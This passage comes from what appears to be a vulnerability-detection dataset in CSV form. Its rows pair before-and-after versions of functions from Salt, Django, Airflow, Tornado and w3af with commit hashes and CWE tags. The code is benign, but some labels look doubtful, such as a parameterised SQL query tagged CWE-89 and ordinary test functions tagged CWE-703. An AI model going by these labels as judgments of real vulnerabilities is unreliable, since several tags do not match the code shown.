_check_pkg(['curl'], exists=False)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/minion.py,0,"def _process_event_socket(self):
tout = time.time() + self.opts['syndic_max_event_process_time']
while tout > time.time():
try:
event = self.local.event.get_event_noblock()
except zmq.ZMQError as e:
# EAGAIN indicates no more events at the moment
# EINTR some kind of signal maybe someone trying
# to get us to quit so escape our timeout
if e.errno == errno.EAGAIN or e.errno == errno.EINTR:
break
raise
log.trace('Got event {0}'.format(event['tag']))
if self.event_forward_timeout is None:
self.event_forward_timeout = (
time.time() + self.opts['syndic_event_forward_timeout']
)
tag_parts = event['tag'].split('/')
if len(tag_parts) >= 4 and tag_parts[1] == 'job' and \
salt.utils.jid.is_jid(tag_parts[2]) and tag_parts[3] == 'ret' and \
'return' in event['data']:
if 'jid' not in event['data']:
# Not a job return
continue
jdict = self.jids.setdefault(event['tag'], {})
if not jdict:
jdict['__fun__'] = event['data'].get('fun')
jdict['__jid__'] = event['data']['jid']
jdict['__load__'] = {}
fstr = '{0}.get_load'.format(self.opts['master_job_cache'])
jdict['__load__'].update(
self.mminion.returners[fstr](event['data']['jid'])
)
if 'master_id' in event['data']:
# __'s to make sure it doesn't print out on the master cli
jdict['__master_id__'] = event['data']['master_id']
jdict[event['data']['id']] = event['data']['return']
else:
# Add generic event aggregation here
if 'retcode' not in event['data']:
self.raw_events.append(event)",,saltstack/salt,08c9fb5f4d1897b90b554b43a4c1869306a9ba40,"def _process_event_socket(self):
tout = time.time() + self.opts['syndic_max_event_process_time']
while tout > time.time():
try:
event = self.local.event.get_event_noblock()
except zmq.ZMQError as e:
# EAGAIN indicates no more events at the moment
# EINTR some kind of signal maybe someone trying
# to get us to quit so escape our timeout
if e.errno == errno.EAGAIN or e.errno == errno.EINTR:
break
raise
log.trace('Got event {0}'.format(event['tag']))
if self.event_forward_timeout is None:
self.event_forward_timeout = (
time.time() + self.opts['syndic_event_forward_timeout']
)
tag_parts = event['tag'].split('/')
if len(tag_parts) >= 4 and tag_parts[1] == 'job' and \
salt.utils.jid.is_jid(tag_parts[2]) and tag_parts[3] == 'ret' and \
'return' in event['data']:
if 'jid' not in event['data']:
# Not a job return
continue
jdict = self.jids.setdefault(event['tag'], {})
if not jdict:
jdict['__fun__'] = event['data'].get('fun')
jdict['__jid__'] = event['data']['jid']
jdict['__load__'] = {}
fstr = '{0}.get_jid'.format(self.opts['master_job_cache'])
jdict['__load__'].update(
self.mminion.returners[fstr](event['data']['jid'])
)
if 'master_id' in event['data']:
# __'s to make sure it doesn't print out on the master cli
jdict['__master_id__'] = event['data']['master_id']
jdict[event['data']['id']] = event['data']['return']
else:
# Add generic event aggregation here
if 'retcode' not in event['data']:
self.raw_events.append(event)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/forms/formsets.py,0,"def formset_factory(form, formset=BaseFormSet, extra=1, can_order=False,
can_delete=False, max_num=None, validate_max=False,
min_num=None, validate_min=False):
""""""Return a FormSet for the given form class.""""""
if min_num is None:
min_num = DEFAULT_MIN_NUM
if max_num is None:
max_num = DEFAULT_MAX_NUM
# hard limit on forms instantiated, to prevent memory-exhaustion attacks
# limit is simply max_num + DEFAULT_MAX_NUM (which is 2*DEFAULT_MAX_NUM
# if max_num is None in the first place)
absolute_max = max_num + DEFAULT_MAX_NUM
extra += min_num
attrs = {'form': form, 'extra': extra,
'can_order': can_order, 'can_delete': can_delete,
'min_num': min_num, 'max_num': max_num,
'absolute_max': absolute_max, 'validate_min': validate_min,
'validate_max': validate_max}
return type(form.__name__ + str('FormSet'), (formset,), attrs)",CWE-Unknown,django/django,b35ff0d9208c426cc0f67c65d724972974734f57,"def formset_factory(form, formset=BaseFormSet, extra=1, can_order=False,
can_delete=False, max_num=None, validate_max=False,
min_num=None, validate_min=False):
""""""Return a FormSet for the given form class.""""""
if min_num is None:
min_num = DEFAULT_MIN_NUM
if max_num is None:
max_num = DEFAULT_MAX_NUM
# hard limit on forms instantiated, to prevent memory-exhaustion attacks
# limit is simply max_num + DEFAULT_MAX_NUM (which is 2*DEFAULT_MAX_NUM
# if max_num is None in the first place)
absolute_max = max_num + DEFAULT_MAX_NUM
extra += min_num
attrs = {'form': form, 'extra': extra,
'can_order': can_order, 'can_delete': can_delete,
'min_num': min_num, 'max_num': max_num,
'absolute_max': absolute_max, 'validate_min' : validate_min,
'validate_max' : validate_max}
return type(form.__name__ + str('FormSet'), (formset,), attrs)"
,UNKNOWN,UNKNOWN,tests/modeltests/custom_methods/models.py,1,"def get_articles_from_same_day_2(self):
""""""
Verbose version of get_articles_from_same_day_1, which does a custom
database query for the sake of demonstration.
""""""
from django.db import connection
cursor = connection.cursor()
cursor.execute(""""""
SELECT id, headline, pub_date
FROM custom_methods_article
WHERE pub_date = %s
AND id != %s"""""", [str(self.pub_date), self.id])
# The asterisk in ""(*row)"" tells Python to expand the list into
# positional arguments to Article().
return [self.__class__(*row) for row in cursor.fetchall()]",CWE-89,django/django,faf9ff6316fd575f9c03f5a6766766eb00b325aa,"def get_articles_from_same_day_2(self):
""""""
Verbose version of get_articles_from_same_day_1, which does a custom
database query for the sake of demonstration.
""""""
from django.db import connection
cursor = connection.cursor()
cursor.execute(""""""
SELECT id, headline, pub_date
FROM custom_methods_articles
WHERE pub_date = %s
AND id != %s"""""", [str(self.pub_date), self.id])
# The asterisk in ""(*row)"" tells Python to expand the list into
# positional arguments to Article().
return [self.__class__(*row) for row in cursor.fetchall()]"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/models/baseoperator.py,0,"def get_extra_links(self, dttm, link_name):
""""""
For an operator, gets the URL that the external links specified in
`extra_links` should point to.
:raise ValueError: The error message of a ValueError will be passed on through to
the fronted to show up as a tooltip on the disabled link
:param dttm: The datetime parsed execution date for the URL being searched for
:param link_name: The name of the link we're looking for the URL for. Should be
one of the options specified in `extra_links`
:return: A URL
""""""
if link_name in self.operator_extra_link_dict:
return self.operator_extra_link_dict[link_name].get_link(self, dttm)
elif link_name in self.global_operator_extra_link_dict:
return self.global_operator_extra_link_dict[link_name].get_link(self, dttm)
else:
return None",CWE-Unknown,apache/airflow,4903c9730c09f8a98bdf1d891479be0b1cd238c8,"def get_extra_links(self, dttm, link_name):
""""""
For an operator, gets the URL that the external links specified in
`extra_links` should point to.
:raise ValueError: The error message of a ValueError will be passed on through to
the fronted to show up as a tooltip on the disabled link
:param dttm: The datetime parsed execution date for the URL being searched for
:param link_name: The name of the link we're looking for the URL for. Should be
one of the options specified in `extra_links`
:return: A URL
""""""
if link_name in self.operator_extra_link_dict:
return self.operator_extra_link_dict[link_name].get_link(self, dttm)
elif link_name in self.global_operator_extra_link_dict:
return self.global_operator_extra_link_dict[link_name].get_link(self, dttm)
else:
return None"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/web_test.py,0,,CWE-Unknown,tornadoweb/tornado,1ae91f6d58e6257e0ab49d295d8741ce1727bdb7,"def get(self):
if self.get_argument('permanent', None) is not None:
self.redirect('/', permanent=int(self.get_argument('permanent')))
elif self.get_argument('status', None) is not None:
self.redirect('/', status=int(self.get_argument('status')))
else:
raise Exception(""didn't get permanent or status arguments"")"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/data/db/tests/test_cached_disk_dict.py,0,"def tearDown(self):
self.cdd.cleanup()",,andresriancho/w3af,168c41adb1af16a0ebb8957104ad647d0107e7c8,"def tearDown(self):
self.cdd.cleanup()"
,UNKNOWN,UNKNOWN,tests/always/test_project_structure.py,1,"def test_providers_modules_should_have_tests(self):
""""""
Assert every module in /airflow/providers has a corresponding test_ file in tests/airflow/providers.
""""""
# The test below had a but for quite a while and we missed a lot of modules to have tess
# We should make sure that one goes to 0
OVERLOOKED_TESTS = [
""tests/providers/amazon/aws/executors/batch/test_boto_schema.py"",
""tests/providers/amazon/aws/executors/batch/test_batch_executor_config.py"",
""tests/providers/amazon/aws/executors/batch/test_utils.py"",
""tests/providers/amazon/aws/executors/ecs/test_boto_schema.py"",
""tests/providers/amazon/aws/executors/ecs/test_ecs_executor_config.py"",
""tests/providers/amazon/aws/executors/ecs/test_utils.py"",
""tests/providers/amazon/aws/executors/utils/test_base_config_keys.py"",
""tests/providers/amazon/aws/operators/test_emr.py"",
""tests/providers/amazon/aws/operators/test_sagemaker.py"",
""tests/providers/amazon/aws/sensors/test_emr.py"",
""tests/providers/amazon/aws/sensors/test_sagemaker.py"",
""tests/providers/amazon/aws/test_exceptions.py"",
""tests/providers/amazon/aws/triggers/test_eks.py"",
""tests/providers/amazon/aws/triggers/test_step_function.py"",
""tests/providers/amazon/aws/utils/test_rds.py"",
""tests/providers/amazon/aws/utils/test_sagemaker.py"",
""tests/providers/amazon/aws/waiters/test_base_waiter.py"",
""tests/providers/apache/cassandra/hooks/test_cassandra.py"",
""tests/providers/apache/drill/operators/test_drill.py"",
""tests/providers/apache/druid/operators/test_druid_check.py"",
""tests/providers/apache/hdfs/hooks/test_hdfs.py"",
""tests/providers/apache/hdfs/log/test_hdfs_task_handler.py"",
""tests/providers/apache/hdfs/sensors/test_hdfs.py"",
""tests/providers/apache/hive/transfers/test_mssql_to_hive.py"",
""tests/providers/apache/hive/plugins/test_hive.py"",
""tests/providers/apache/kafka/hooks/test_base.py"",
""tests/providers/celery/executors/test_celery_executor_utils.py"",
""tests/providers/celery/executors/test_default_celery.py"",
""tests/providers/cncf/kubernetes/backcompat/test_backwards_compat_converters.py"",
""tests/providers/cncf/kubernetes/executors/test_kubernetes_executor_types.py"",
""tests/providers/cncf/kubernetes/executors/test_kubernetes_executor_utils.py"",
""tests/providers/cncf/kubernetes/operators/test_kubernetes_pod.py"",
""tests/providers/cncf/kubernetes/test_k8s_model.py"",
""tests/providers/cncf/kubernetes/test_kube_client.py"",
""tests/providers/cncf/kubernetes/test_kube_config.py"",
""tests/providers/cncf/kubernetes/test_pod_generator_deprecated.py"",
""tests/providers/cncf/kubernetes/test_pod_launcher_deprecated.py"",
""tests/providers/cncf/kubernetes/test_python_kubernetes_script.py"",
""tests/providers/cncf/kubernetes/test_secret.py"",
""tests/providers/cncf/kubernetes/triggers/test_kubernetes_pod.py"",
""tests/providers/cncf/kubernetes/utils/test_delete_from.py"",
""tests/providers/cncf/kubernetes/utils/test_k8s_hashlib_wrapper.py"",
""tests/providers/cncf/kubernetes/utils/test_xcom_sidecar.py"",
""tests/providers/databricks/hooks/test_databricks_base.py"",
""tests/providers/google/cloud/fs/test_gcs.py"",
""tests/providers/google/cloud/links/test_automl.py"",
""tests/providers/google/cloud/links/test_base.py"",
""tests/providers/google/cloud/links/test_bigquery.py"",
""tests/providers/google/cloud/links/test_bigquery_dts.py"",
""tests/providers/google/cloud/links/test_bigtable.py"",
""tests/providers/google/cloud/links/test_cloud_build.py"",
""tests/providers/google/cloud/links/test_cloud_functions.py"",
""tests/providers/google/cloud/links/test_cloud_memorystore.py"",
""tests/providers/google/cloud/links/test_cloud_sql.py"",
""tests/providers/google/cloud/links/test_cloud_storage_transfer.py"",
""tests/providers/google/cloud/links/test_cloud_tasks.py"",
""tests/providers/google/cloud/links/test_compute.py"",
""tests/providers/google/cloud/links/test_data_loss_prevention.py"",
""tests/providers/google/cloud/links/test_datacatalog.py"",
""tests/providers/google/cloud/links/test_dataflow.py"",
""tests/providers/google/cloud/links/test_dataform.py"",
""tests/providers/google/cloud/links/test_datafusion.py"",
""tests/providers/google/cloud/links/test_dataplex.py"",
""tests/providers/google/cloud/links/test_dataprep.py"",
""tests/providers/google/cloud/links/test_dataproc.py"",
""tests/providers/google/cloud/links/test_datastore.py"",
""tests/providers/google/cloud/links/test_kubernetes_engine.py"",
""tests/providers/google/cloud/links/test_life_sciences.py"",
""tests/providers/google/cloud/links/test_mlengine.py"",
""tests/providers/google/cloud/links/test_pubsub.py"",
""tests/providers/google/cloud/links/test_spanner.py"",
""tests/providers/google/cloud/links/test_stackdriver.py"",
""tests/providers/google/cloud/links/test_vertex_ai.py"",
""tests/providers/google/cloud/links/test_workflows.py"",
""tests/providers/google/cloud/operators/vertex_ai/test_auto_ml.py"",
""tests/providers/google/cloud/operators/vertex_ai/test_batch_prediction_job.py"",
""tests/providers/google/cloud/operators/vertex_ai/test_custom_job.py"",
""tests/providers/google/cloud/operators/vertex_ai/test_dataset.py"",
""tests/providers/google/cloud/operators/vertex_ai/test_endpoint_service.py"",
""tests/providers/google/cloud/operators/vertex_ai/test_hyperparameter_tuning_job.py"",
""tests/providers/google/cloud/operators/vertex_ai/test_model_service.py"",
""tests/providers/google/cloud/operators/vertex_ai/test_pipeline_job.py"",
""tests/providers/google/cloud/sensors/test_dataform.py"",
""tests/providers/google/cloud/transfers/test_bigquery_to_sql.py"",
""tests/providers/google/cloud/transfers/test_mssql_to_gcs.py"",
""tests/providers/google/cloud/transfers/test_presto_to_gcs.py"",
""tests/providers/google/cloud/transfers/test_trino_to_gcs.py"",
""tests/providers/google/cloud/triggers/test_cloud_composer.py"",
""tests/providers/google/cloud/utils/test_bigquery.py"",
""tests/providers/google/cloud/utils/test_bigquery_get_data.py"",
""tests/providers/google/cloud/utils/test_dataform.py"",
""tests/providers/google/common/links/test_storage.py"",
""tests/providers/google/common/test_consts.py"",
""tests/providers/google/test_go_module_utils.py"",
""tests/providers/microsoft/azure/operators/test_adls.py"",
""tests/providers/microsoft/azure/transfers/test_azure_blob_to_gcs.py"",
""tests/providers/mongo/sensors/test_mongo.py"",
""tests/providers/redis/operators/test_redis_publish.py"",
""tests/providers/redis/sensors/test_redis_key.py"",
""tests/providers/slack/notifications/test_slack_notifier.py"",
""tests/providers/snowflake/triggers/test_snowflake_trigger.py"",
]
# TODO: Should we extend this test to cover other directories?
modules_files = list(glob.glob(f""{ROOT_FOLDER}/airflow/providers/**/*.py"", recursive=True))
# Make path relative
modules_files = list(os.path.relpath(f, ROOT_FOLDER) for f in modules_files)
# Exclude example_dags
modules_files = list(f for f in modules_files if ""/example_dags/"" not in f)
# Exclude __init__.py
modules_files = list(f for f in modules_files if not f.endswith(""__init__.py""))
# Change airflow/ to tests/
expected_test_files = list(
f'tests/{f.partition(""/"")[2]}' for f in modules_files if not f.endswith(""__init__.py"")
)
# Add test_ prefix to filename
expected_test_files = list(
f'{f.rpartition(""/"")[0]}/test_{f.rpartition(""/"")[2]}'
for f in expected_test_files
if not f.endswith(""__init__.py"")
)
current_test_files = glob.glob(f""{ROOT_FOLDER}/tests/providers/**/*.py"", recursive=True)
# Make path relative
current_test_files = (os.path.relpath(f, ROOT_FOLDER) for f in current_test_files)
# Exclude __init__.py
current_test_files = (f for f in current_test_files if not f.endswith(""__init__.py""))
modules_files = set(modules_files)
expected_test_files = set(expected_test_files) - set(OVERLOOKED_TESTS)
current_test_files = set(current_test_files)
missing_tests_files = expected_test_files - expected_test_files.intersection(current_test_files)
assert set() == missing_tests_files, ""Detect missing tests in providers module - please add tests""
added_test_files = current_test_files.intersection(OVERLOOKED_TESTS)
assert set() == added_test_files, (
""Detect added tests in providers module - please remove the tests ""
""from OVERLOOKED_TESTS list above""
)",CWE-703,apache/airflow,4ae85d754e9f8a65d461e86eb6111d3b9974a065,"def test_providers_modules_should_have_tests(self):
""""""
Assert every module in /airflow/providers has a corresponding test_ file in tests/airflow/providers.
""""""
# The test below had a but for quite a while and we missed a lot of modules to have tess
# We should make sure that one goes to 0
OVERLOOKED_TESTS = [
""tests/providers/amazon/aws/executors/batch/test_boto_schema.py"",
""tests/providers/amazon/aws/executors/batch/test_batch_executor_config.py"",
""tests/providers/amazon/aws/executors/batch/test_utils.py"",
""tests/providers/amazon/aws/executors/ecs/test_boto_schema.py"",
""tests/providers/amazon/aws/executors/ecs/test_ecs_executor_config.py"",
""tests/providers/amazon/aws/executors/ecs/test_utils.py"",
""tests/providers/amazon/aws/executors/utils/test_base_config_keys.py"",
""tests/providers/amazon/aws/operators/test_emr.py"",
""tests/providers/amazon/aws/operators/test_sagemaker.py"",
""tests/providers/amazon/aws/sensors/test_emr.py"",
""tests/providers/amazon/aws/sensors/test_sagemaker.py"",
""tests/providers/amazon/aws/test_exceptions.py"",
""tests/providers/amazon/aws/triggers/test_eks.py"",
""tests/providers/amazon/aws/triggers/test_step_function.py"",
""tests/providers/amazon/aws/utils/test_rds.py"",
""tests/providers/amazon/aws/utils/test_sagemaker.py"",
""tests/providers/amazon/aws/waiters/test_base_waiter.py"",
""tests/providers/apache/cassandra/hooks/test_cassandra.py"",
""tests/providers/apache/drill/operators/test_drill.py"",
""tests/providers/apache/druid/operators/test_druid_check.py"",
""tests/providers/apache/hdfs/hooks/test_hdfs.py"",
""tests/providers/apache/hdfs/log/test_hdfs_task_handler.py"",
""tests/providers/apache/hdfs/sensors/test_hdfs.py"",
""tests/providers/apache/hive/transfers/test_mssql_to_hive.py"",
""tests/providers/apache/hive/plugins/test_hive.py"",
""tests/providers/apache/kafka/hooks/test_base.py"",
""tests/providers/celery/executors/test_celery_executor_utils.py"",
""tests/providers/celery/executors/test_default_celery.py"",
""tests/providers/cncf/kubernetes/backcompat/test_backwards_compat_converters.py"",
""tests/providers/cncf/kubernetes/executors/test_kubernetes_executor_types.py"",
""tests/providers/cncf/kubernetes/executors/test_kubernetes_executor_utils.py"",
""tests/providers/cncf/kubernetes/operators/test_kubernetes_pod.py"",
""tests/providers/cncf/kubernetes/test_k8s_model.py"",
""tests/providers/cncf/kubernetes/test_kube_client.py"",
""tests/providers/cncf/kubernetes/test_kube_config.py"",
""tests/providers/cncf/kubernetes/test_pod_generator_deprecated.py"",
""tests/providers/cncf/kubernetes/test_pod_launcher_deprecated.py"",
""tests/providers/cncf/kubernetes/test_python_kubernetes_script.py"",
""tests/providers/cncf/kubernetes/test_secret.py"",
""tests/providers/cncf/kubernetes/triggers/test_kubernetes_pod.py"",
""tests/providers/cncf/kubernetes/utils/test_delete_from.py"",
""tests/providers/cncf/kubernetes/utils/test_k8s_hashlib_wrapper.py"",
""tests/providers/cncf/kubernetes/utils/test_xcom_sidecar.py"",
""tests/providers/databricks/hooks/test_databricks_base.py"",
""tests/providers/google/cloud/fs/test_gcs.py"",
""tests/providers/google/cloud/links/test_automl.py"",
""tests/providers/google/cloud/links/test_base.py"",
""tests/providers/google/cloud/links/test_bigquery.py"",
""tests/providers/google/cloud/links/test_bigquery_dts.py"",
""tests/providers/google/cloud/links/test_bigtable.py"",
""tests/providers/google/cloud/links/test_cloud_build.py"",
""tests/providers/google/cloud/links/test_cloud_functions.py"",
""tests/providers/google/cloud/links/test_cloud_memorystore.py"",
""tests/providers/google/cloud/links/test_cloud_sql.py"",
""tests/providers/google/cloud/links/test_cloud_storage_transfer.py"",
""tests/providers/google/cloud/links/test_cloud_tasks.py"",
""tests/providers/google/cloud/links/test_compute.py"",
""tests/providers/google/cloud/links/test_data_loss_prevention.py"",
""tests/providers/google/cloud/links/test_datacatalog.py"",
""tests/providers/google/cloud/links/test_dataflow.py"",
""tests/providers/google/cloud/links/test_dataform.py"",
""tests/providers/google/cloud/links/test_datafusion.py"",
""tests/providers/google/cloud/links/test_dataplex.py"",
""tests/providers/google/cloud/links/test_dataprep.py"",
""tests/providers/google/cloud/links/test_dataproc.py"",
""tests/providers/google/cloud/links/test_datastore.py"",
""tests/providers/google/cloud/links/test_kubernetes_engine.py"",
""tests/providers/google/cloud/links/test_life_sciences.py"",
""tests/providers/google/cloud/links/test_mlengine.py"",
""tests/providers/google/cloud/links/test_pubsub.py"",
""tests/providers/google/cloud/links/test_spanner.py"",
""tests/providers/google/cloud/links/test_stackdriver.py"",
""tests/providers/google/cloud/links/test_vertex_ai.py"",
""tests/providers/google/cloud/links/test_workflows.py"",
""tests/providers/google/cloud/operators/vertex_ai/test_auto_ml.py"",
""tests/providers/google/cloud/operators/vertex_ai/test_batch_prediction_job.py"",
""tests/providers/google/cloud/operators/vertex_ai/test_custom_job.py"",
""tests/providers/google/cloud/operators/vertex_ai/test_dataset.py"",
""tests/providers/google/cloud/operators/vertex_ai/test_endpoint_service.py"",
""tests/providers/google/cloud/operators/vertex_ai/test_hyperparameter_tuning_job.py"",
""tests/providers/google/cloud/operators/vertex_ai/test_model_service.py"",
""tests/providers/google/cloud/operators/vertex_ai/test_pipeline_job.py"",
""tests/providers/google/cloud/sensors/test_dataform.py"",
""tests/providers/google/cloud/transfers/test_bigquery_to_mssql.py"",
""tests/providers/google/cloud/transfers/test_bigquery_to_sql.py"",
""tests/providers/google/cloud/transfers/test_mssql_to_gcs.py"",
""tests/providers/google/cloud/transfers/test_presto_to_gcs.py"",
""tests/providers/google/cloud/transfers/test_trino_to_gcs.py"",
""tests/providers/google/cloud/triggers/test_cloud_composer.py"",
""tests/providers/google/cloud/utils/test_bigquery.py"",
""tests/providers/google/cloud/utils/test_bigquery_get_data.py"",
""tests/providers/google/cloud/utils/test_dataform.py"",
""tests/providers/google/common/links/test_storage.py"",
""tests/providers/google/common/test_consts.py"",
""tests/providers/google/test_go_module_utils.py"",
""tests/providers/microsoft/azure/operators/test_adls.py"",
""tests/providers/microsoft/azure/transfers/test_azure_blob_to_gcs.py"",
""tests/providers/mongo/sensors/test_mongo.py"",
""tests/providers/redis/operators/test_redis_publish.py"",
""tests/providers/redis/sensors/test_redis_key.py"",
""tests/providers/slack/notifications/test_slack_notifier.py"",
""tests/providers/snowflake/triggers/test_snowflake_trigger.py"",
]
# TODO: Should we extend this test to cover other directories?
modules_files = list(glob.glob(f""{ROOT_FOLDER}/airflow/providers/**/*.py"", recursive=True))
# Make path relative
modules_files = list(os.path.relpath(f, ROOT_FOLDER) for f in modules_files)
# Exclude example_dags
modules_files = list(f for f in modules_files if ""/example_dags/"" not in f)
# Exclude __init__.py
modules_files = list(f for f in modules_files if not f.endswith(""__init__.py""))
# Change airflow/ to tests/
expected_test_files = list(
f'tests/{f.partition(""/"")[2]}' for f in modules_files if not f.endswith(""__init__.py"")
)
# Add test_ prefix to filename
expected_test_files = list(
f'{f.rpartition(""/"")[0]}/test_{f.rpartition(""/"")[2]}'
for f in expected_test_files
if not f.endswith(""__init__.py"")
)
current_test_files = glob.glob(f""{ROOT_FOLDER}/tests/providers/**/*.py"", recursive=True)
# Make path relative
current_test_files = (os.path.relpath(f, ROOT_FOLDER) for f in current_test_files)
# Exclude __init__.py
current_test_files = (f for f in current_test_files if not f.endswith(""__init__.py""))
modules_files = set(modules_files)
expected_test_files = set(expected_test_files) - set(OVERLOOKED_TESTS)
current_test_files = set(current_test_files)
missing_tests_files = expected_test_files - expected_test_files.intersection(current_test_files)
assert set() == missing_tests_files, ""Detect missing tests in providers module - please add tests""
added_test_files = current_test_files.intersection(OVERLOOKED_TESTS)
assert set() == added_test_files, (
""Detect added tests in providers module - please remove the tests ""
""from OVERLOOKED_TESTS list above""
)"
,UNKNOWN,UNKNOWN,tests/jobs/test_scheduler_job.py,1,"def test_verify_integrity_if_dag_changed(self, dag_maker):
# CleanUp
with create_session() as session:
session.query(SerializedDagModel).filter(
SerializedDagModel.dag_id == ""test_verify_integrity_if_dag_changed""
).delete(synchronize_session=False)
with dag_maker(dag_id=""test_verify_integrity_if_dag_changed"") as dag:
BashOperator(task_id=""dummy"", bash_command=""echo hi"")
scheduler_job = Job()
self.job_runner = SchedulerJobRunner(job=scheduler_job)
session = settings.Session()
orm_dag = dag_maker.dag_model
assert orm_dag is not None
scheduler_job = Job()
self.job_runner = SchedulerJobRunner(job=scheduler_job)
dag = self.job_runner.dagbag.get_dag(""test_verify_integrity_if_dag_changed"", session=session)
self.job_runner._create_dag_runs([orm_dag], session)
drs = DagRun.find(dag_id=dag.dag_id, session=session)
assert len(drs) == 1
dr = drs[0]
dag_version_1 = SerializedDagModel.get_latest_version_hash(dr.dag_id, session=session)
assert dr.dag_version.serialized_dag.dag_hash == dag_version_1
assert self.job_runner.dagbag.dags == {""test_verify_integrity_if_dag_changed"": dag}
assert len(self.job_runner.dagbag.dags.get(""test_verify_integrity_if_dag_changed"").tasks) == 1
# Now let's say the DAG got updated (new task got added)
BashOperator(task_id=""bash_task_1"", dag=dag, bash_command=""echo hi"")
SerializedDagModel.write_dag(dag=dag, bundle_name=""testing"")
dag_version_2 = SerializedDagModel.get_latest_version_hash(dr.dag_id, session=session)
assert dag_version_2 != dag_version_1
self.job_runner._schedule_dag_run(dr, session)
session.flush()
drs = DagRun.find(dag_id=dag.dag_id, session=session)
assert len(drs) == 1
dr = drs[0]
assert dr.dag_version.serialized_dag.dag_hash == dag_version_2
assert self.job_runner.dagbag.dags == {""test_verify_integrity_if_dag_changed"": dag}
assert len(self.job_runner.dagbag.dags.get(""test_verify_integrity_if_dag_changed"").tasks) == 2
tis_count = (
session.query(func.count(TaskInstance.task_id))
.filter(
TaskInstance.dag_id == dr.dag_id,
TaskInstance.logical_date == dr.logical_date,
TaskInstance.state == State.SCHEDULED,
)
.scalar()
)
assert tis_count == 2
latest_dag_version = SerializedDagModel.get_latest_version_hash(dr.dag_id, session=session)
assert dr.dag_version.serialized_dag.dag_hash == latest_dag_version
session.rollback()
session.close()",CWE-703,apache/airflow,577985821e4e3c8cfbc2797feb19cc32fe2aaac0,"def test_verify_integrity_if_dag_changed(self, dag_maker):
# CleanUp
with create_session() as session:
session.query(SerializedDagModel).filter(
SerializedDagModel.dag_id == ""test_verify_integrity_if_dag_changed""
).delete(synchronize_session=False)
with dag_maker(dag_id=""test_verify_integrity_if_dag_changed"") as dag:
BashOperator(task_id=""dummy"", bash_command=""echo hi"")
scheduler_job = Job()
self.job_runner = SchedulerJobRunner(job=scheduler_job)
session = settings.Session()
orm_dag = dag_maker.dag_model
assert orm_dag is not None
scheduler_job = Job()
self.job_runner = SchedulerJobRunner(job=scheduler_job)
dag = self.job_runner.dagbag.get_dag(""test_verify_integrity_if_dag_changed"", session=session)
self.job_runner._create_dag_runs([orm_dag], session)
drs = DagRun.find(dag_id=dag.dag_id, session=session)
assert len(drs) == 1
dr = drs[0]
dag_version_1 = SerializedDagModel.get_latest_version_hash(dr.dag_id, session=session)
assert dr.dag_version.serialized_dag.dag_hash == dag_version_1
assert self.job_runner.dagbag.dags == {""test_verify_integrity_if_dag_changed"": dag}
assert len(self.job_runner.dagbag.dags.get(""test_verify_integrity_if_dag_changed"").tasks) == 1
# Now let's say the DAG got updated (new task got added)
BashOperator(task_id=""bash_task_1"", dag=dag, bash_command=""echo hi"")
SerializedDagModel.write_dag(dag=dag)
dag_version_2 = SerializedDagModel.get_latest_version_hash(dr.dag_id, session=session)
assert dag_version_2 != dag_version_1
self.job_runner._schedule_dag_run(dr, session)
session.flush()
drs = DagRun.find(dag_id=dag.dag_id, session=session)
assert len(drs) == 1
dr = drs[0]
assert dr.dag_version.serialized_dag.dag_hash == dag_version_2
assert self.job_runner.dagbag.dags == {""test_verify_integrity_if_dag_changed"": dag}
assert len(self.job_runner.dagbag.dags.get(""test_verify_integrity_if_dag_changed"").tasks) == 2
tis_count = (
session.query(func.count(TaskInstance.task_id))
.filter(
TaskInstance.dag_id == dr.dag_id,
TaskInstance.logical_date == dr.logical_date,
TaskInstance.state == State.SCHEDULED,
)
.scalar()
)
assert tis_count == 2
latest_dag_version = SerializedDagModel.get_latest_version_hash(dr.dag_id, session=session)
assert dr.dag_version.serialized_dag.dag_hash == latest_dag_version
session.rollback()
session.close()"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,docs/conf.py,0,"def get_configs_and_deprecations(
package_name: str,
package_version: Version,
) -> tuple[dict[str, dict[str, tuple[str, str, str]]], dict[str, dict[str, tuple[str, str, str]]]]:
deprecated_options: dict[str, dict[str, tuple[str, str, str]]] = defaultdict(dict)
for (section, key), (
(deprecated_section, deprecated_key, since_version)
) in AirflowConfigParser.deprecated_options.items():
deprecated_options[deprecated_section][deprecated_key] = section, key, since_version
for (section, key), deprecated in AirflowConfigParser.many_to_one_deprecated_options.items():
for deprecated_section, deprecated_key, since_version in deprecated:
deprecated_options[deprecated_section][deprecated_key] = section, key, since_version
if package_name == ""apache-airflow"":
configs = retrieve_configuration_description(include_providers=False)
else:
configs = retrieve_configuration_description(
include_airflow=False, include_providers=True, selected_provider=package_name
)
# We want the default/example we show in the docs to reflect the value _after_
# the config has been templated, not before
# e.g. {{dag_id}} in default_config.cfg -> {dag_id} in airflow.cfg, and what we want in docs
keys_to_format = [""default"", ""example""]
for conf_section in configs.values():
for option_name, option in list(conf_section[""options""].items()):
for key in keys_to_format:
if option[key] and ""{{"" in option[key]:
option[key] = option[key].replace(""{{"", ""{"").replace(""}}"", ""}"")
version_added = option[""version_added""]
if version_added is not None and parse_version(version_added) > package_version:
del conf_section[""options""][option_name]
# Sort options, config and deprecated options for JINJA variables to display
for config in configs.values():
config[""options""] = {k: v for k, v in sorted(config[""options""].items())}
configs = {k: v for k, v in sorted(configs.items())}
for section in deprecated_options:
deprecated_options[section] = {k: v for k, v in sorted(deprecated_options[section].items())}
return configs, deprecated_options",CWE-Unknown,apache/airflow,95a136e7fda4ada07174020c37bf373e1c3c7d88,"def get_configs_and_deprecations(
package_name: str,
package_version: Version,
) -> tuple[dict[str, dict[str, tuple[str, str, str]]], dict[str, dict[str, tuple[str, str, str]]]]:
deprecated_options: dict[str, dict[str, tuple[str, str, str]]] = defaultdict(dict)
for (section, key), (
(deprecated_section, deprecated_key, since_version)
) in AirflowConfigParser.deprecated_options.items():
deprecated_options[deprecated_section][deprecated_key] = section, key, since_version
for (section, key), deprecated in AirflowConfigParser.many_to_one_deprecated_options.items():
for deprecated_section, deprecated_key, since_version in deprecated:
deprecated_options[deprecated_section][deprecated_key] = section, key, since_version
if package_name == ""apache-airflow"":
configs = retrieve_configuration_description(include_providers=False)
else:
configs = retrieve_configuration_description(
include_airflow=False, include_providers=True, selected_provider=package_name
)
